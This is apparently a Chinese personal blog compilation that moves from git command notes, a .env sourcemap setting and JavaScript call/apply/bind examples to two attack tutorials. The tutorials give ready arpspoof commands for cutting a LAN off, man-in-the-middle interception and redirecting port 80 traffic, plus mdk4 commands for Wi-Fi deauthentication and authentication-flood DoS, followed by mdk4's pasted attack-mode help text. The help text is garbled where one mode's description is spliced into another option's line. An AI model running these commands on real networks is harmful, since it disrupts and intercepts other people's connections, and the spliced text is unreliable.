一些常用的命令如下，不算全面但是日常对我来说是够用了。
git clone url ：克隆项目，如需自定义本地文件夹的名称，在 url 之后加个名称即可。git add ：这是个多功能命令，可以用它开始跟踪新文件，或者把已跟踪的发生更改的文件放到暂存区，还能用于合并时把有冲突的文件标记为已解决状态等。git rm ：要从 Git 中移除某个文件，就必须要从暂存区域移除，然后提交。可以用 git rm 完成，并连带从工作目录中删除指定的文件，这样以后就不会出现在未跟踪文件清单中了。git diff ：查看尚未暂存的文件更新了哪些部分。在后面加一个 --staged 参数，将比对已暂存文件与最后一次提交的文件差异。生产模式构建静态网页时，默认会生成 .map 文件 ，比较大，并且部署后通过浏览器访问可以在控制台看到开发时的源代码，虽说是方便调试，但是都构建 Production Build 了还能被查看代码总让人心里不太舒服。
可以通过配置 .env 文件，将 GENERATE_SOURCEMAP 设为 false 即可不生成 sourcemap 文件。
创建 .env 文件，并在文件中添加这行代码
GENERATE_SOURCEMAP = false
每一个函数都有这三个方法，平时也不怎么能用到，整的时间长不看真容易迷糊...
function Fn(){}
函数 Fn，可调用 Fn.call(), Fn.apply(), Fn.bind()，下面细说。
const person = {
name: 'Lee',
say: function (greet) {
console.log(`${greet}, I'm ${this.name}`)
}
}
const dog = { name: 'coco' }
person.say('hi') // hi, I'm Lee
person.say.apply(dog, ['woof']) // woof, I'm coco
person.say.call(dog, 'woof') // woof, I'm coco
let person_dog = person.say.bind(dog, 'woof')
person_dog() // woof, I'm coco
将调用此函数的 Fn 的 this 指向传入的第一个参数。
本篇内容仅用于学习和测试，本人遵纪守法。
arpspoof 是 dsniff 包里的一个程序，可用于arp攻击。Manjaro 中执行以下命令安装这个软件包就可以使用了。
yay -S dsniff
arpspoof - 截获交换局域网中的数据包。
用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
描述
arpspoof通过伪造的ARP响应包改变局域网中从目标主机（或所有主机）到另一个主机（host）的数据包转发路径。 这是交换局域网中嗅探网络流量的一种极为有效的方法。
内核IP转发（或如fragrouter这样的、用户层面的、能完成同样功能的软件）必须提前开启。
1. 断网攻击，不开启流量转发，使用我的无线网卡 wlp8s0，攻击网关
sudo arpspoof -i wlp8s0 -t 192.168.1.1
2. 中间人攻击，截获用户和网关之间的流量
开启流量转发
echo 1 >> /proc/sys/net/ipv4/ip_forward
欺骗双方，充当中间人
sudo arpspoof -i wlp8s0 -t 192.168.1.1 192.168.1.106
sudo arpspoof -i wlp8s0 -t 192.168.1.106 192.168.1.1
此时网关以为我是106，而106以为我是网关。双方的流量都将经过这里，使用 WireShark 即可对经过网卡的流量进行分析。
3. 重定向攻击
使局域网所有设备访问的 80 端口，重定向到我这里的 8080 端口，需要开启流量转发。
sudo arpspoof -i wlp8s0 192.168.1.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
本篇内容仅用于学习和测试，本人遵纪守法。
Mdk3 已经不在维护，且它无法攻击 5Ghz 频段的 WiFi，而 Mdk4 加入了 5Ghz 频段的支持，当然用新不用旧。在实践中，WPA3 协议的 WIFI 对 Deauth 和泛洪攻击似乎免疫，多次尝试均是如此。而 WPA2 以及更低级的协议的 WIFI 能够轻易被攻击，产生显著效果。
安装 aircrack-ng 和 mdk4 ，Manjaro 可通过以下命令安装
yay -S aircrack-ng mdk4
sudo airmon-ng start wlp8s0
得到 wlp8s0mon 作为监听接口，执行攻击命令时均使用监听接口。
对 2.4Ghz 频段的 WiFi 扫描
sudo airodump-ng wlp8s0mon
对 5Ghz 频段的 WiFi 扫描，其中参数 a 表示 5Ghz 的 802.11a 标准，也可以是 b 和 g ，分别代表 802.11b 和 802.11g，他俩的频段为 2.4 Ghz
sudo airodump-ng --band a wlp8s0mon
Deauthentication 攻击，断掉信道为 11 无线网络的全部客户端连接。
sudo mdk4 wlp8s0mon d -c 11
身份验证攻击，攻击 BSSID 为 AE:15:5d:ad:40:9b 的接入点，使其崩溃重启
sudo mdk4 wlp8s0mon a -a AE:15:5d:ad:40:9b
一般也就用 a 和 d，用信标攻击太离谱太明显
ATTACK MODE b: Beacon Flooding
Sends beacon frames to show fake APs at clients.
This can sometimes crash network scanners and even drivers!
ATTACK MODE a: Authentication Denial-Of-Service
Sends authentication frames to all APs found in range.
Too many clients can freeze or reset several APs.
ATTACK MODE p: SSID Probing and Bruteforcing
Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range.
Bruteforcing of hidden SSIDs with or without a wordlist is also available.
ATTACK MODE d: Deauthentication and Disassociation
Sends deauthentication and disassociation packets to stations based on data traffic to disconnect all clients from an AP.
ATTACK MODE m: Michael Countermeasures Exploitation
Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs.
AP will then shutdown for a whole minute, making this an effective DoS.
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks
Flood neighbors and routes, create black holes and divert traffic!
ATTACK MODE w: WIDS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
ATTACK MODE x: Poc Testing
Proof-of-concept of WiFi protocol implementation vulnerability, to test whether the device has wifi vulnerabilities.
It may cause the wifi connection to be disconnected or the target device to crash.
mdk4 <interface> <attack_mode> [attack_options]
mdk4 <interface in> <interface out> <attack_mode> [attack_options]
ATTACK MODE b: Beacon Flooding
Sends beacon frames to generate fake APs at clients.
This can sometimes crash network scanners and drivers!
-n <ssid>
Use SSID <ssid> instead of randomly generated ones
-a
Use also non-printable caracters in generated SSIDs
and create SSIDs that break the 32-byte limit
-f <filename>
Read SSIDs from file
-v <filename>
Read MACs and SSIDs from file. See example file!
-t <adhoc>
-t 1 = Create only Ad-Hoc network
-t 0 = Create only Managed (AP) networks
without this option, both types are generated
-w <encryptions>
Select which type of encryption the fake networks shall have
Valid options: n = No Encryption, w = WEP, t = TKIP (WPA), a = AES (WPA2)
You can select multiple types, i.e. "-w wta" will only create WEP and WPA networks
-b <bitrate>
Select if 11 Mbit (b) or 54 MBit (g) networks are created
Without this option, both types will be used.
-m
Use valid accesspoint MAC from built-in OUI database
-h
Hop to channel where network is spoofed
This is more effective with some devices/drivers
But it reduces packet rate due to channel hopping.
-c <chan>
Create fake networks on channel <c ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources
and a nice set of modifiers. Be careful!han>. If you want your card to
hop on this channel, you have to set -h option, too.
-i <HEX>
Add user-defined IE(s) in hexadecimal at the end of the tagged parameters
-s <pps>
Set speed in packets per second (Default: 50)
ATTACK MODE a: Authentication Denial-Of-Service
Sends authentication frames to all APs found in range.
Too many clients can freeze or reset several APs.
-a <ap_mac>
Only test the specified AP
-m
Use valid client MAC from built-in OUI database
-i <ap_mac>
Perform intelligent test on AP
This test connects clients to the AP and reinjects sniffed data to keep them alive.
-s <pps>
Set speed in packets per second (Default: unlimited)
ATTACK MODE p: SSID Probing and Bruteforcing
Probes APs and checks for answer, useful for checking if SSID has
been correctly decloaked and if AP is in your sending range.
Bruteforcing of hidden SSIDs with or without a wordlist is also available.
-e <ssid>
SSID to probe for
-f <filename>
Read SSIDs from file for bruteforcing hidden SSIDs
-t <bssid>
Set MAC address of target AP
-s <pps>
Set speed (Default: 400)
-b <character sets>
Use full Bruteforce mode (recommended for short SSIDs only!)
You can select multiple character sets at once:
* n (Numbers: 0-9)
* u (Uppercase: A-Z)
* l (Lowercase: a-z)
* s (Symbols: ASCII)
-p <word>
Continue bruteforcing, starting at <word>.
-r <channel>
Probe request tests (mod-musket)
ATTACK MODE d: Deauthentication and Disassociation
Sends deauthentication and disassociation packets to stations
based on data traffic to disconnect all clients from an AP.
-w <filename>
Read file containing MACs not to care about (Whitelist mode)
-b <filename>
Read file containing MACs to run test on (Blacklist Mode)
-s <pps>
Set speed in packets per second (Default: unlimited)
-x
Enable full IDS stealth by matching all Sequence Numbers
Packets will only be sent with clients' addresses
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-E <AP ESSID>
Specify an AP ESSID to attack.
-B <AP BSSID>
Specify an AP BSSID to attack.
-S <Station MAC address>
Specify a station MAC address to attack.
-W <Whitelist Station MAC address>
Specify a whitelist station MAC.
ATTACK MODE m: Michael Countermeasures Exploitation
Sends random packets or re-injects duplicates on another QoS queue
to provoke Michael Countermeasures on TKIP APs.
AP will then shutdown for a whole minute, making this an effective DoS.
-t <bssid>
Set target AP, that runs TKIP encryption
-j
Use the new QoS exploit which only needs to reinject a few packets instead
of the random packet injection, which is unreliable but works without QoS.
-s <pps>
Set speed in packets per second (Default: 400)
-w <seconds>
Wait <seconds> between each random packet burst (Default: 10)
-n <count>
Send <count> random packets per burst (Default: 70)
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Floods an AP with EAPOL Start frames to keep it busy with fake sessions
and thus disables it to handle any legitimate clients.
Or logs off clients by injecting fake EAPOL Logoff messages.
-t <bssid>
Set target WPA AP
-s <pps>
Set speed in packets per second (Default: 400)
-l
Use Logoff messages to kick clients
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks.
Flood neighbors and routes, create black holes and divert traffic!
-f <type>
Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them:
The following modification types are implemented:
1: Replay identical frame until new one arrives (duplicate flooding)
2: Change Source and BSSID (possibly resulting in Neighbor Flooding)
3: Cut packet short, leave 802.11 header intact (find buffer errors)
4: Shotgun mode, randomly overwriting bytes after header (find bugs)
5: Skript-kid's automated attack trying all of the above randomly :)
-b <impersonated_meshpoint>
Create a Blackhole, using the impersonated_meshpoint's MAC address
mdk4 will answer every incoming Route Request with a perfect route over the impersonated node.
-p <impersonated_meshpoint>
Path Request Flooding using the impersonated_meshpoint's address
Adjust the speed switch (-s) for maximum profit!
-l
Just create loops on every route found by modifying Path Replies
-s <pps>
Set speed in packets per second (Default: 100)
-n <meshID>
Target this mesh network
ATTACK MODE w: WIDS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems by
cross-connecting clients to multiple WDS nodes or fake rogue APs.
Confuses a WDS with multi-authenticated clients which messes up routing tables
-e <SSID>
SSID of target WDS network
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-z
activate Zero_Chaos' WIDS exploit
(authenticates clients from a WDS to foreign APs to make WIDS go nuts)
-s <pps>
Set speed in packets per second (Default: 100)
ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources
and a nice set of modifiers. Be careful!
mdk4 randomly selects the given sources and one or multiple modifiers.
-s <sources>
Specify one or more of the following packet sources:
a - Sniff packets from the air
b - Create valid beacon frames with random SSIDs and properties
c - Create CTS frames to broadcast (you can also use this for a CTS DoS)
p - Create broadcast probe requests
-m <modifiers>
Select at least one of the modifiers here:
n - No modifier, do not modify packets
b - Set destination address to broadcast
m - Set source address to broadcast
s - Shotgun: randomly overwrites a couple of bytes
t - append random bytes (creates broken tagged parameters in beacons/probes)
c - Cut packets short, preferably somewhere in headers or tags
d - Insert random values in Duration and Flags fields
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-p <pps>
Set speed in packets per second (Default: 250)
ATTACK MODE x: Poc Testing
Proof-of-concept of WiFi protocol implementation vulnerability,
to test whether the device has wifi vulnerabilities.
It may cause the wifi connection to be disconnected or the target device to crash.
-s <pps>
Set speed in packets per second (Default: unlimited)
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-v <vendor>
file name in pocs dir, default test all.
-A <AP MAC>
set an AP MAC
-S <Station MAC>
set a station MAC.